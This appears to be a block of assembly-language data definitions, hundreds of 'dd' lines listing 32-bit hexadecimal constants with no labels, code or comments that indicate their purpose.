dd 3A6C2761h, 0EA1C147Dh, 66BE5901h, 79665541h, 55AC8BCCh
dd 335562E9h, 8E7214CAh, 0A88EFFFCh, 0E4B4A968h, 0E3533414h
dd 0C34EDEE9h, 81214F69h, 0DFD87B96h, 42CB3365h, 0A0F56688h
dd 823FE667h, 34362130h, 468EDC2h, 7E410812h, 9F2AAB0Bh
dd 0B5451904h, 31DDF0B9h, 669FCF7Fh, 853E4941h, 89A001A7h
dd 970D0C60h, 0BB821934h, 154A8C55h, 0AF925917h, 0B0E09E0Ch
dd 68A6FD3Eh, 0DE929F55h, 130592EBh, 9834886Ah, 0E0B4F0E8h
dd 9A9FCEC4h, 0B43A061h, 6442AA3Ah, 9C8D20BCh, 12E8CE6h
dd 0D425F6A9h, 132D87B0h, 0F69CABFh, 16AACA56h, 15F3C2CBh
dd 0E9863183h, 806B8498h, 2E6AD581h, 492DC4F6h, 28D296ACh
dd 7851BA63h, 94F3EC88h, 86C814E7h, 86243C23h, 23563565h
dd 0A40B1F7h, 4F11D15Ah, 19D2FF66h, 0E6BC257Bh, 47BE0A15h
dd 8B86BC24h, 330956E6h, 85BBAA5Ah, 0B5B5F520h, 424E00D3h
dd 8E8C94EDh, 5E5B6643h, 6253909Ah, 0D69BDA96h, 413ADF4Ah
dd 90828222h, 0ED44ACEFh, 7A756E1Eh, 0B8BA8350h, 161350CFh
dd 15E8E48Ah, 190F0289h, 0F303FB0Eh, 7C2F2B50h, 3F3BE776h
dd 0EE8885AEh, 931D31F5h, 0DF686468h, 88BCF144h, 0B968D8FFh
dd 0E2479AE3h, 2E9E3FBBh, 0D3107447h, 28CD48D0h, 4317D28Ah
dd 0BFD49446h, 4ECA981Ch, 7963F409h, 5C10B9C3h, 20A5B14Ch
dd 33F97665h, 63A88D8Dh
dd 2CEEE120h, 0DD1EE2Ah, 5DE2FFDCh, 0A14B05AAh, 9478E218h
dd 2AD4FF20h, 914EFED7h, 27AF3F5Ah, 0D3D3B320h, 8D55FF08h
dd 556B7454h, 2AC545E5h, 9AD19370h, 840EE5B1h, 0EF75013Eh
dd 0CA5D21F8h, 323D4455h, 2708A794h, 0BCE8EB0Eh, 0A5B00337h
dd 7B77E4FBh, 933C340Ah, 151F2BC3h, 0D2D7453Ah, 3B1BD04Bh
dd 102AE421h, 5706B578h, 8C1D5605h, 0A54A2837h, 0DB71AF4Ch
dd 1E40AE16h, 0A219CE8h, 527311B6h, 0D7AE59E9h, 5CFFC46Dh
dd 9E651F70h, 8631409Eh, 7D0C2F41h, 0BB44D01Dh, 0E39AAB21h
dd 0E5702CFFh, 56394B10h, 0C12ADB33h, 0AECD432Ch, 4457FE2Bh
dd 0D18A4FADh, 0C0CC8CE3h, 35C21E35h, 345B93EDh, 0A5B40AB8h
dd 0FD963FC0h, 21165DF7h, 4704594Ah, 831E10C2h, 0F612EA01h
dd 0BE992D53h, 8E50BDB6h, 0B541DC7h, 26CB154Bh, 0D24769CCh
dd 3A82714Bh, 0AA28AB5Ah, 3F15F6A7h, 6414AE81h, 3F96DE30h
dd 1002BE5Ch, 3815CCA4h, 678AB671h, 6E74D82h, 0B126C1D1h
dd 0D9D307A2h, 4848807Ah, 0C6C7B42h, 0BE3C6C47h, 40CE0247h
dd 5E646530h, 0AC299C5h, 0F069E00Dh, 535EAFA5h, 2A59F47Fh
dd 6A1FCA86h, 0D03F7FC7h, 0A5A7799Ch, 0DF1ACD04h, 0B9808123h
dd 612FC80h, 0FB9366F4h, 9C34E44Bh, 6CD8F481h, 2CE94A2Bh
dd 0E8A41C42h, 0C9F0ABA0h, 0CD258F36h, 0EB8EC556h, 5AAF84Ah
dd 6FE7F492h, 54CFE757h, 0BB0717FDh, 14705B87h, 7D450529h
dd 3CD7A814h, 859BC458h, 0B0AAEA51h, 5BBBDDA9h, 466B441Fh
dd 0FB77F874h, 5C44454Fh, 0B699AFC5h, 0B426A8C0h, 2D4A7F23h
dd 0C4E0EE74h, 886EBCE2h, 8499863Fh, 58AD8C57h, 9DB61E81h
dd 65228D7Bh, 0A83187A9h, 2D82B90Eh, 0BF24A515h, 0E7130112h
dd 0BBF51E66h, 3AB69E92h, 9B7D35CDh, 9DC53FB3h, 0FA05D71Ch
dd 0A1C413E5h, 5901B7E6h, 41DAD96Ah, 6AB35D12h, 0EED30579h
dd 0BFE52F73h, 0BE24F389h, 0C3929434h, 0EC636F34h, 43E7049h
dd 0D5D0F295h, 8E9C9360h, 495961EFh, 0FEDC7952h, 54521514h
dd 0D2808070h, 0EFDA108Dh, 58B19283h, 38A66C56h, 0EED2BD8Dh
dd 0A9C14782h, 52F716B8h, 6B8B7F3Ah, 9B775B1h, 0AE2C645Ch
dd 13484A56h, 61172370h, 7A2584h, 85B07D84h, 0B1C15DA6h
dd 77F2BAD9h, 460A988Ah, 89EC7660h, 913C8349h, 5447B6F7h
dd 82C3838Ah, 0E57A7883h, 0CD71EDFAh, 1B238F50h, 99E135A0h
dd 0EDC4022Ah, 0EFF05BCEh, 8934903Fh, 83203CA7h, 397FD47Ah
dd 0E8FC387Fh, 0B519AE86h, 0CFC5C6EDh, 508C42DFh, 0B5B14672h
dd 0AB03261Ch, 5981B074h, 7EC91E2Ah, 0C395656h, 8BE022E6h
dd 8251CAB6h, 0C1BBD3B4h, 3CD669EBh, 2680D57Eh, 16315204h
dd 97339D08h, 9066E041h, 4E31820Ah, 0A9745D5Eh, 67430B2Ah
dd 1E55CD19h, 64795470h, 9F387CB9h, 0F9EF04CEh, 0C974890Bh
dd 0F5DA35F7h, 0E213F160h, 2558012h, 0E69C0960h, 78E2756Ah
dd 9494916Ah, 0B11D695Ch, 2D7BACE0h, 0AED5F43Fh, 2160A1BBh
dd 9E5CE49Eh, 0B91B3484h, 0A1B7E450h, 81D08A7Bh, 6A0481A9h
dd 35192CBEh, 1AF1CB22h, 7B4C15E9h, 0A3D2D14Ch, 62B3DF06h
dd 0D86A51E7h, 81257844h, 611E2F4Ah, 2193007Dh, 3330EAF6h
dd 2CDCDB59h, 0E4C90F35h, 2FD2955Bh, 0ACCBC765h, 0D041EED4h
dd 5ADFD559h, 5D82765Fh, 2B8DBB27h, 0C65CA2F8h, 63314C99h
dd 3BA69ACFh, 9B8E96B6h, 78856B8Bh, 310086Ah, 4E540190h
dd 1C254846h, 30CA2372h, 71B78FFCh, 2D0D2850h, 0E6C4F4D2h
dd 948C5506h, 16ACC8D1h, 33D2E49Bh, 14454AF2h, 0AB77ECCEh
dd 755E6C2Fh, 0CD459506h, 76EBBB2Ah, 0AD30966h, 0B295566Fh
dd 7B015428h, 67AC41Dh, 0CFDB36BAh, 0CA748B42h, 814545E9h
dd 0B2D749C7h, 8DAE1A7Eh, 0E4352788h, 0FA574570h, 72F1E225h
dd 3D54BEF5h, 0FE77512Bh, 5B53D210h, 0E55A91DDh, 4B6ED128h
dd 76C52620h, 0A4E19BF3h, 0C612EA17h, 6625148Eh, 16DD714Dh
dd 9DE59F60h, 18A1DF04h, 3BB3639Dh, 0F6D2F608h, 5FD2743Ah
dd 4F4E2BE6h, 4A48E209h, 5D0614E7h, 9D6CA88Bh, 448477B4h
dd 0CF56F70Bh, 0F19F1468h, 0BD6583B6h, 3605548Dh, 5F262AF3h
dd 0B35A29D9h, 0EFA5F7CEh, 11CC7CB2h, 0AFFA9BCAh, 8A3EBEC2h
dd 0D4F7186Bh, 89FCBF8Bh, 82A34556h, 0FC7107B0h, 0FBA15628h
dd 92BD9875h, 0D6AF9A92h, 0C427013Ch, 44238B7Fh, 5D5D14A8h
dd 8839CD75h, 4472168Eh, 72CA3FFAh, 3CBC6DCAh, 8C3922E5h
dd 51563F45h, 9CC41F17h, 8F125F92h, 0CCC13A2Fh, 6F602499h
dd 1ED1D9E9h, 8C7DD6DCh, 7E99D60Fh, 0CC81C55Ah, 0C31360E9h
dd 3D7AB6A3h, 0B8EB19BAh, 27160349h, 0C53A1FBDh, 0E292EECCh
dd 0E27C7FE7h, 45CD0076h, 0A05432C2h, 41B5F2B8h, 0A9D45B3Dh
dd 84C016AFh, 68EF285Fh, 0E59C96F4h, 0E2367FCCh, 2FD76E29h
dd 0C658900Dh, 225419F9h, 5A2F3A00h, 8B59FD70h, 831FF6D8h
dd 445ED42Bh, 90D59FDAh, 0FDCE95E9h, 0ED806302h, 263E4436h
dd 0AEEE4271h, 0A2F2E7Ch, 0FA869D9Fh, 53365FC0h, 95BC18D5h
dd 9DAC5FC2h, 84EDDB52h, 0DF25AAh, 5FAE71D3h, 0EC0A3373h
dd 0D8AA605Eh, 33BBEBE8h, 0E339AE81h, 7EF08355h, 104CEAAh
dd 6F52928Ch, 931796Fh, 89D54708h, 3FD97705h, 0CDDAC638h
dd 1C550939h, 125B161Ah, 0D73C6EC2h, 2DD53B81h, 4F97FE56h
dd 0D094C471h, 1A1FB12Dh, 56153BAh, 3ECA01EEh, 0BE35DB04h
dd 0D6E88B40h, 5798ABB9h, 6EC6B4E6h, 0B6E59E10h, 0ABAAD616h
dd 64B5C618h, 306CC74Bh, 610919DFh, 925F8D1Fh, 0CF4D0B6Fh
dd 938087A4h, 46C1F763h, 0B1B1848h, 0E298FD79h, 7015CCCFh
dd 81319297h, 0F244AE1h, 0B0AF330Ah, 0C436DA91h, 0D0E88729h
dd 5B57B5EBh, 0EAA5510Dh, 5F965CC1h, 307F692Dh, 0F1C0EDC3h
dd 54DE0890h, 3504375h, 0F446341Ah, 7F9CAE06h, 0DD2A4D3Bh
dd 8525714Dh, 0E8DB5952h, 0C29252ABh, 0E92A5923h, 726D5E2Dh
dd 1F497E1Eh, 0C53F5BDFh, 572BC0F5h, 0C82F6B0Ch, 40129267h
dd 32AD7DFEh, 0C868DB4Ch, 0C8A7AC53h, 2F8BB03Ah, 157FE47Ah
dd 0C33954CFh, 9510A116h, 4DE79370h, 0A05ACC5Ah, 555E3FA1h
dd 0C9D4EEh, 0B4E96207h, 0D2E49431h, 0B15C2B65h, 8ED39171h
dd 4BC7D210h, 0DB96C440h, 500752E8h, 0FF2EE7D1h, 0A5AEC24Ch
dd 4B36516Dh, 27D8355Ah, 48598B17h, 0BF7A173Dh, 0EFF673E0h
dd 0D73788C5h, 8BABB70Ch, 3A4025C4h, 0CB33199Dh, 0D1D30776h
dd 0D75318B5h, 0E1610FEAh, 89518B66h, 0B17D3D85h, 4031C9E9h
dd 0B8FAA5Ah, 3D475D41h, 12875969h, 0E4387833h, 0BFFDBE5Fh
dd 0E81D0A0Bh, 0A0DDE1F0h, 0E35BE27Bh, 84548005h, 23413092h
dd 35121582h, 7578A771h, 0F3DC35F9h, 272965A2h, 6F556BAEh
dd 4CFFD206h, 0D7A2BB82h, 35FFC866h, 0AAD59900h, 0EE13AFCCh
dd 55354506h, 763E473Bh, 0B54EE1DAh, 51ACF439h, 0C0B04797h
dd 687F3CCh, 170DC0E3h, 6D4520ACh, 301CCBA6h, 0C7CABC7Fh
dd 1A526D22h, 0A580392h, 30201DC5h, 3D853E78h, 94684D94h
dd 0CA201334h, 0FF6FE8Bh, 1B5266A6h, 23E82C69h, 3D6895h
dd 84DE3425h, 602E1796h, 0A4765721h, 0A86CE4F6h, 2309A202h
dd 7DA5555Eh, 71D18A4Fh, 0FADBC63Ah, 986B6213h, 8B2FB077h
dd 4325887Ch, 0BCDA8D07h, 7C532300h, 0B6C3D99Dh, 0E5763E8Eh
dd 0C870866Dh, 0B8E2619Dh, 128EAAF6h, 84ED411Eh, 0A12683FFh
dd 0FE1FCBECh, 249A25C6h, 38B18A2Ch, 0F0E916Bh, 0BAE9DB2h
dd 6D89AD1Eh, 9D3C90E9h
dd 0EE4C173Bh, 218938E7h, 0D53791C1h, 0FF37BB2Dh, 2A594D8Ah
dd 58B9117Eh, 405C7DB1h, 4516EEC3h, 0D1E8227Eh, 1675E6DDh
dd 73E3C5CEh, 5EBE8354h, 81043F43h, 803BF079h, 11E425B3h
dd 71E4BB23h, 8A01114Ah, 0E96DD56Fh, 0A176FEB2h, 5D226D2Dh
dd 8F1A06BAh, 6140241Dh, 4588EF5h, 1A8714AFh, 2A4BA2B5h
dd 0DB24355Eh, 254442D9h, 0CB6E6CAEh, 0E561FF1Ch, 94D688AFh
dd 1B963710h, 0E58D5652h, 0A4BB5338h, 3432369Fh, 1EE9AB3Dh
dd 89FBAFC3h, 0E4BAF4B8h, 0C90DF0ABh, 9E0533EBh, 7F29DA6Bh
dd 591C360Dh, 35F42F7Fh, 0DBAF3B6Eh, 9771B780h, 3BE33FCAh
dd 4B8844EEh, 2424E6ECh, 4B5929A5h, 309AE5AFh, 1703F020h
dd 4BD9A3D2h, 62F3F4A2h, 807055A7h, 9A3DA458h, 14875E47h
dd 0F8D7E601h, 384FB2ECh, 36B4AD31h, 21351847h, 3403D5FFh
dd 0DC472F16h, 9B328F47h, 513D18D1h, 16FC14A6h, 176F8409h
dd 92E8D4C3h, 470C8552h, 0FD8C518Bh, 77C349FCh, 1C12114Fh
dd 0ACD3606Eh, 0B838D1EDh, 2B98494Ah, 725422F9h, 0A5CE07EEh
dd 9192490h, 4B0D0DD9h, 4558124Bh, 0E42EEB78h, 942623ABh
dd 0B1118D91h, 88A3BBBAh, 3EB30A57h, 5660CB21h, 35FDDA86h
dd 0FBB1DF7Ah, 651433BFh, 0D4702DD3h, 65B4D601h, 0F610FB80h
dd 0E8EEFABCh, 51ECEF34h, 0C6415077h, 7A7E5B33h, 97A06168h
dd 0E10C3C6h, 18875AB7h, 73057FBBh, 9F9D3369h, 0EA864303h
dd 952CBDEEh, 5819E7D5h, 1E8BB372h, 1351335Dh, 0E81BC85Dh
dd 0FA9C571Ch, 501C9685h, 54E87778h, 4992A170h, 425A0EA3h
dd 0AC390396h, 0EC9864F3h, 98A60E0Ah, 55B9F0C4h, 0FC5A3A3Bh
dd 0CE898D39h, 0CF7DEADFh, 0FFB0439h, 7BC3DA53h, 2DECBBB6h
dd 0AAE71E7Eh, 0B1A1953Bh, 22C0423Fh, 3FC1D5Ah, 677C6C38h
dd 8F584212h, 908B43C8h, 566BB595h, 0B79D3BE7h, 9ED4921Bh
dd 2A6DF616h, 6CCCCEAh, 0B809EE9Eh, 5BBFD86Eh, 0C93C53F2h
dd 37FB3127h, 6B9B495Fh, 0B2FF820Dh, 8CE7E778h, 0C835320Eh
dd 0F68E958Eh, 0BF6BD42Fh, 14F1590h, 3439915Ah, 2FB43AF5h
dd 3212D264h, 33BB5016h, 0DB15BB6Dh, 0AD33B687h, 0D8934428h
dd 69048F2Bh, 76FA2D85h, 3BA8877Fh, 0D21EEF30h, 0F47991AAh
dd 3C87AD56h, 283EC8DCh, 81FA2E99h, 8848011Ah, 0ED22DAD3h
dd 804B76B6h, 0C04CD965h, 1E0590F3h, 137CBB07h, 70488E46h
dd 319F32C5h, 434AC3D7h, 421A7B5Bh, 12C169B0h, 0AB74BEE0h
dd 0E3E579ECh, 0AFFD0B27h, 8CE21AEDh, 0EC5B6E00h, 0BF708EADh
dd 0FE799CAFh, 4BF5BC6Dh, 3A3AB01Bh, 804FEF3Bh, 0A01FA19Ch
dd 0D30A1715h, 4A35894Fh, 724FB595h, 9B3CE694h, 9B6F74C2h
dd 0AC533CB7h, 182F8071h, 0E3AB980Bh, 0F1B62236h, 7C5A7B25h
dd 40FC2BA5h, 6E7FC2F8h, 0CE473BF9h, 512DED3Fh, 0D50F503Bh
dd 3C9C7A6h, 0DAFB9B5Bh, 0D20CAA45h, 0D1370371h, 0BF41A817h
dd 0E85C5AE1h, 8123275Eh, 0A21DE17h, 0F648E5DEh, 482973D5h
dd 8A4BCCF0h, 58379707h, 51BC5631h, 845B3AC6h, 9DFCDA2Eh
dd 0D620F695h, 0AB41149Bh, 29420B6Ah, 0EFC38736h, 29D244Ah
dd 0A57FF859h, 0D77CF100h, 0B002BB5Bh, 0D51B6934h, 8789257Dh
dd 0A45E2DBFh, 2FFE0B4h, 4D45E9BDh, 0A9C2F30Eh, 7F8A4C7Ah
dd 0ECE4E648h, 3497A156h, 4052AE7Ah, 0C55DFF7Ah, 0CF822644h
dd 2858766Fh, 91F26DB9h, 0BC6EAF08h, 4A8232BEh, 0CFF279ADh
dd 0CBAEB1F9h, 0E498EF94h, 69E5DB29h, 83483E10h, 0FA961958h
dd 0FE468C8Fh, 0E4BF64E1h, 0C808C0AAh, 18F48D21h, 11CF133Ch
dd 0E08B107Ch, 97B5E602h, 0DC5BADC1h, 7CF5AA7Dh, 60F7B99Fh
dd 0A29102ACh, 7EE07144h, 7B7F7D82h, 0A540A6C8h, 0D0D7C10Bh
dd 0E28548AEh, 8AE06E43h, 92C19357h, 14F1163Ch, 9FC0F86Ah
dd 7B0A549Eh, 6DDE3E7Ch, 0B73B402Fh, 0FB430726h, 819C6B7Dh
dd 9DB1E751h, 0F632B965h, 0E5501FB2h, 546ABD94h, 5F89FA09h
dd 0C4E6BAFBh, 6CD0EEFDh, 0CBE21FB4h, 644720F3h, 5A9122C9h
dd 52C6DD0Ah, 32F053FAh, 520E81C6h, 0D521251Eh, 747A60C4h
dd 265D3F2Bh, 71C9A31Ch, 4EB9B41Fh, 973365CAh, 0F4533770h
dd 0F4A608D8h, 0BE98A41Ch, 42EB9CABh, 0BA75E264h, 37FE977Ah
dd 0C3D15BA2h, 0A7A6D006h, 0EA8B03Ch, 0A88EA170h, 264E566Ch
dd 395C912Dh, 0C5FEA685h, 6FA4A004h, 0E2873C4Fh, 797A802Ch
dd 266F5FB1h, 0B789A824h, 239355F9h, 0EAC1D1C1h, 0EC8F3595h
dd 13E231A9h, 7D26744Dh, 0AF660851h, 9F2ACB3Ch, 0A11B62CDh
dd 777EA3Ah, 4DD00B22h, 0D8BDCF25h, 0E275DCBFh, 0CF2B0480h
dd 2D966F25h, 4139FEADh, 0CA2701B3h, 5160D8Bh, 0FCDC4290h
dd 41E491DCh, 7184C7EEh, 86EF74F4h, 0AF6BB0B6h, 93E1D950h
dd 0D772D6F2h, 92F90A2Ah, 635EF5Ch, 0F6D16EC7h, 6B2B387h
dd 0FC28B039h, 2F06D672h, 5C8844CBh, 0E0936A9Eh, 3F7A103Ch
dd 9BBC1A9Bh, 0E078E489h, 0F9617878h, 35D09A92h, 0A6493194h
dd 46E36D34h, 635A2F2Eh, 504A913Eh, 4D3F2037h, 60F8B3B9h
dd 0D0F07503h, 3F04DD5Ah, 44C55AFh, 0C61D03A7h, 48AE111Ch
dd 0B0BCD6FCh, 0C84A2D37h, 4B26C79Ch, 0D923A27Bh, 0DD3CCAA4h
dd 2B88FC6h, 0E3400281h, 2A89539Eh, 0C209CCEh, 98D7C83Eh
dd 0DBFDC357h, 0D81200B0h, 0D007D8B3h, 8DCAAEB5h, 0E57F7AE1h
dd 132284A1h, 0A03FC926h, 43242E07h, 7BEBD526h, 0B59287D5h
dd 5CD0E782h, 19A86463h, 0FC0C49Dh, 0ECC9A9D0h, 3673BEA2h
dd 784748DFh, 56EF3859h, 99042474h, 0FF9CAE2Dh, 79A27445h
dd 0FB50A242h, 0A130C537h, 60157FADh, 4F85CF9Ah, 7E7A858Ch
dd 0B1968EAEh, 0C84773EEh, 0CD154CE5h, 9C9E8DE7h, 9876E9FFh
dd 1887C217h, 7BE11060h, 0CA3CB01Bh, 0A693F601h, 8519F837h
dd 26CE7C2h, 579B37E4h, 1BE8109Dh, 1ED0E523h, 0A60EF044h
dd 69B712B0h, 0D09FEDD1h, 38CF4E5Ch, 414192ACh, 123F678h
dd 72F6721Bh, 29FB4E4h, 65EDD3B7h, 0E96FF5C9h, 196CD9E9h
dd 585F6F28h, 12407A84h, 1359AFEEh, 8E761411h, 9DDA1AB5h
dd 754B09CDh, 7B78BF2Bh, 90FE717Bh, 61831E15h, 6691E33Fh
dd 2BD446BAh, 0AFDDCADh, 2C71B72Ch, 38750AF2h, 0F3F102C2h
dd 880E42DCh, 1ACD598Eh, 356EC396h, 0E026D8BEh, 24485347h
dd 33D228B5h, 7E83C47Ch, 7E3CFF4Ah, 0FD17CE07h, 0CC36887Bh
dd 7B807D47h, 56CFC2B7h, 4E1A3B8Ch, 59BB0686h, 490D82B7h
dd 3DC57E43h, 262A00E8h, 2902740Fh, 452DA272h, 0AB6CB060h
dd 0DD0743B0h, 7801E1F1h, 0F22BF51Ah, 2769B697h, 2D54245h
dd 0AF5E001Ah, 0A6EF33B4h, 0CA931B7Eh, 0F44454E2h, 322ED213h
dd 1BA6B5CEh, 7F6D6DFAh, 8030A3BDh, 9AD38DFBh, 75B74D8Bh
dd 39A9F33h, 3CFABFE9h, 0FAC8B37Ch, 83668E2Dh, 9EA823D2h
dd 0DEF4BB36h, 0AD829238h, 2D3DF508h, 0C309EB71h, 7971B781h
dd 105B2ACAh, 2A518627h, 709D5B03h, 8A406BDCh, 9D1FB2D4h
dd 31794512h, 0F7038812h, 24536D1h, 0F8E306EBh, 0DCBCD145h
dd 0C6DF7D7Bh, 0FECB26C6h, 0EAA90BF3h, 2272C8ADh, 30313932h
dd 0BE44FC9h, 840B395Bh, 9308884Fh, 4FDCE0D6h, 53F5378Ah
dd 5862829Bh, 0ABE91212h, 0DF6A890Bh, 91B23016h, 0FC6CE1F7h
dd 1575612Ah, 9A2D9FAEh, 0F2FEBF68h, 55915305h, 4A762FCEh
dd 7B7BC84Dh, 87D720BBh, 0A5F56C09h, 662B2559h, 51CF88D2h
dd 70D9325Fh, 9A5317A0h, 6496AEEBh, 211E889Ch, 656E3414h
dd 0D4DA59C3h, 8CAD7017h
dd 0ECCE9B83h, 0F0451D34h, 0AE237613h, 0DFF0AB8Fh, 0D8E53B0Fh
dd 0C21534CBh, 0ED154869h, 95F1F7A3h, 6737E048h, 6A6DC993h
dd 1A9873FBh, 0D543595h, 0B5C5C17h, 0E365123Dh, 32E103BAh
dd 0CFC8A888h, 267F5952h, 77E6AB29h, 5028E57Eh, 4E85ED6Bh
dd 0CCB99CD8h, 0DBCA800Bh, 0BF9C143Ch, 0D48D9F2Dh, 0B7ED7FD6h
dd 988BBA8Fh, 36258CFEh, 4B02B23h, 2CF76E27h, 6B4B10EBh
dd 58785AFDh, 0B8FF3AC9h, 829AB91Eh, 4EBBC1B2h, 0E6373A75h
dd 95822994h, 0B55B8FF9h, 0F3E214ACh, 0D14E0A5Fh, 87445053h
dd 0A853EE32h, 51780315h, 93873D44h, 4A247011h, 6467F19Ah
dd 1C4E7525h, 0D1911743h, 33AA8422h, 722E2BC6h, 0F4D64BB3h
dd 0E0B1D404h, 97899332h, 78F4801h, 0E443B519h, 465DC94Eh
dd 9BBF3370h, 0D5B3569Fh, 1C06912Ah, 0E212177Bh, 0EAC05135h
dd 8FEF6440h, 382A4D7Fh, 242CAF59h, 285E32E0h, 6584DC52h
dd 0F1BD735Eh, 49543317h, 0A1E63E0h, 0F234FC10h, 0EDC5EED7h
dd 0AE320A0Fh, 7FE49BA6h, 0F56EEF26h, 87064E0h, 0E651BADEh
dd 0A579AEB5h, 0B0E53FBAh, 684AD46h, 629905B4h, 60A9606Eh
dd 0A90D024h, 0CD1A4D79h, 5834E3B8h, 75448EB1h, 2B3F81D4h
dd 7F1187C3h, 1661E76Dh, 0B3CD4B83h, 8A1EE278h, 29CAC4F6h
dd 0CDA27970h, 0F67EEC04h, 0F972D118h, 88D5F65Ch, 0ED45736Ah
dd 573A00CDh, 3090376Ah, 0C8291824h, 0B67426C7h, 7A2810ABh
dd 3BDEDE45h, 3E6773EBh, 4F4926A9h, 38CBFAA2h, 2A8224ABh
dd 0C22906Bh, 0D0335638h, 15E5527Fh, 160618F3h, 0E02E958Ch
dd 0C79E95Dh, 4756B296h, 63EF6831h, 0E5BB9642h, 32D293B6h
dd 0F379A815h, 0A14F86C4h, 163B953Ah, 13EC89E6h, 0B19E6174h
dd 5A0A381Dh, 0A2D9DA8Eh, 5847FB0Fh, 0C99C4CFAh, 8765530Eh
dd 6F5E46B4h, 0DA81B871h, 43E193C4h, 718E1A98h, 602BBE38h
dd 0A0B2F9BCh, 5E6C90Ch, 8D189735h, 9ADFC3Ah, 0D6A6C352h
dd 0F389AE46h, 0A170080Ah, 0EABB0CB8h, 0D363A01Fh, 0DF330506h
dd 98EC9BD5h, 0FE647533h, 0BE1E193Ch, 61413C7Bh, 5E80BF43h
dd 4DABD305h, 254ABC0Eh, 25B244C8h, 202C5CA0h, 9E01F6DAh
dd 0CEE8F30Dh, 9F6DBA58h, 0E4403625h, 0B4682363h, 27E35E70h
dd 92A5E8C3h, 740206FAh, 0D6DB48F8h, 0B4294098h, 0D7625993h
dd 47491294h, 4059D0F6h, 14FFEE7Ah, 0D8485272h, 91CB67Dh
dd 0E7AD6517h, 0EB694850h, 0A42C60FBh, 0FF89E166h, 1253CB68h
dd 8D4CD891h, 9E253181h, 0D578BA7Eh, 0DD953D82h, 0DFD10331h
dd 2DFBD792h, 635AE663h, 83027A50h, 41894996h, 3EE964C4h
dd 57A03079h, 0FC1D1EB5h, 41C0C542h, 8BD49428h, 98FEFA42h
dd 6DFD0B7h, 0A0AC23F0h, 6D45A813h, 4F17EF1Eh, 0E9F1ECDh
dd 0F9499CC1h, 45AD140h, 77379D74h, 27C010B6h, 0B1C40CFEh
dd 0F138E3BBh, 0AEBB7BABh, 576BA3B2h, 1F6BE4F0h, 0BA0570F9h
dd 54EE711Ch, 9A8B076Ch, 20880857h, 1ECA43Ch, 3207BF67h
dd 0C66C06E8h, 0C7006691h, 0BB39E388h, 0EC6989DBh, 0FC83D7B2h
dd 65E4DC00h, 0E395F00Bh, 5235F362h, 0B33509D8h, 554E901Ah
dd 0E0B67645h, 22A5BFC4h, 7C7C159Bh, 0CFDCB044h, 0CCC1688Dh
dd 0E3F2E915h, 9906CFCAh, 0FB1AFCC2h, 0C3616BCAh, 6B45B16h
dd 0C0282679h, 0BC51CD09h, 0DFADC2BDh, 0E8C3D145h, 0B8F13C3Eh
dd 0B29E7FF1h, 88F8EE68h, 0FFF37ABFh, 0B6BB90B0h, 6317CDA3h
dd 0B6ACA834h, 0A24D3DD6h, 68917352h, 690E3BAFh, 50BF7351h
dd 555F4A57h, 77AC8B94h, 3057C2D7h, 38FBCCABh, 6463DC81h
dd 9F6681A2h, 1069DD17h, 0E629D9CCh, 92129F5Dh, 0F54B305Fh
dd 11DE4D82h, 3F74C54Eh, 23BE11B5h, 0C0A4B6D6h, 71697A84h
dd 9B29571Fh, 0F03C6626h, 25B6E3AFh, 0EE9A3DCAh, 25C58ED0h
dd 858AB9DFh, 0C386840Fh, 0BDA8BE8Ch, 5D92E22Ah, 0FC676FD9h
dd 555CF264h, 936FC4B8h, 4C46CB73h, 0C04AEB68h, 915DFC82h
dd 0D87B0E3Ah, 8B6D15B6h, 0B9526617h, 0CB1E801Bh, 0A482D379h
dd 49D7C4F0h, 7E69D4CCh, 59407D00h, 37203A25h, 504792Ch
dd 0BF89E8D9h, 8CC654F4h, 96D22793h, 4C4F5C23h, 347599Ah
dd 457F213h, 5D4BBF43h, 17F80710h, 0BF8D38C2h, 0A205B86Ah
dd 0D1B7420Eh, 7CE3FFD1h, 51B5CEF8h, 0ACAEBA0Fh, 0EA322962h
dd 47D6072h, 0BB2B60FEh, 0DCEC77E4h, 1180C372h, 3362BB4h
dd 0FC50102Eh, 7460672Eh, 73008B35h, 7CD11C37h, 7F1A7397h
dd 0E06B13C2h, 1A74F481h, 0B5824308h, 0F5106F28h, 4B0D1B65h
dd 1FC1627h, 260D9FEFh, 7D035A4Eh, 0FB013D3Fh, 434E3DDBh
dd 63261C83h, 74EFFD1Fh, 0B14BA6F0h, 5B487F2Bh, 74AE2A4Eh
dd 0B8948F63h, 34C7334Eh, 8DBF72h, 35265F64h, 0A2F7F763h
dd 1F402A4Ch, 204063B5h, 898EAEE2h, 14CD4D60h, 0A3183B4Ch
dd 1C604CAh, 0A6AB9B66h, 3F19600Ah, 0D67D3CE4h, 0E7EBE8C3h
dd 0B03B2170h, 7D403549h, 6D34765Ah, 0E5A65725h, 813BFD1Fh
dd 9123B3D8h, 9BD70567h, 0B76F1283h, 8ED7443h, 1D6C4244h
dd 280AF6CEh, 2670D1DFh, 0C45E662h, 8D8E3D80h, 0B50B4023h
dd 386E9B87h, 14166492h, 0D6748D7Bh, 2A435E3Ah, 20657474h
dd 0A2F733E5h, 169CF697h, 0B9B43A73h, 7516E2FAh, 1FB95A3Ch
dd 2D0B9EC4h, 6E9E2C8Fh, 0C50A07ADh, 5D0E9D19h, 15DB09Ch
dd 0B88B26A7h, 0A135AB7Bh, 704BEF13h, 1E1D98EAh, 3EA20D3Eh
dd 0B19B847Fh, 5C05A719h, 279B8EE0h, 0ED70D3A3h, 8AAC7DB0h
dd 8B9D6945h, 1D0A6926h, 4DC9043h, 628085C0h, 62BF4AA4h
dd 0CED3A401h, 144DC238h, 53CCD7C1h, 53E80FA5h, 0F8FE04E3h
dd 0BD0AC29Bh, 421755AAh, 0E2E17443h, 69E73CEBh, 42A4565Eh
dd 64C3CC4Dh, 764934C7h, 21C300E2h, 0E0167A1h, 0D1C19840h
dd 531C195Dh, 0DC188E47h, 195C1550h, 9B6570ACh, 8B1F059Dh
dd 973E9AFAh, 0E76F3928h, 0FEA939F9h, 2561E61h, 0D029C0CCh
dd 0A35E31C6h, 6F646FD9h, 0B6748F6Fh, 0B46652C2h, 89DD9266h
dd 27B8DAB6h, 0F8CF75FCh, 4141741Ch, 0F7162B19h, 0E40D71B3h
dd 3B49AB83h, 0A5814586h, 51EBD6F2h, 60CE461h, 76508F12h
dd 179E5309h, 42A697A5h, 24270E64h, 34935425h, 3E8512Ah
dd 6B96C491h, 6D6B680Ch, 0BE039E56h, 0C9C8D548h, 780C3F39h
dd 3CCFFE19h, 881A1662h, 40918BDDh, 95CD15ADh, 0B5E5727Eh
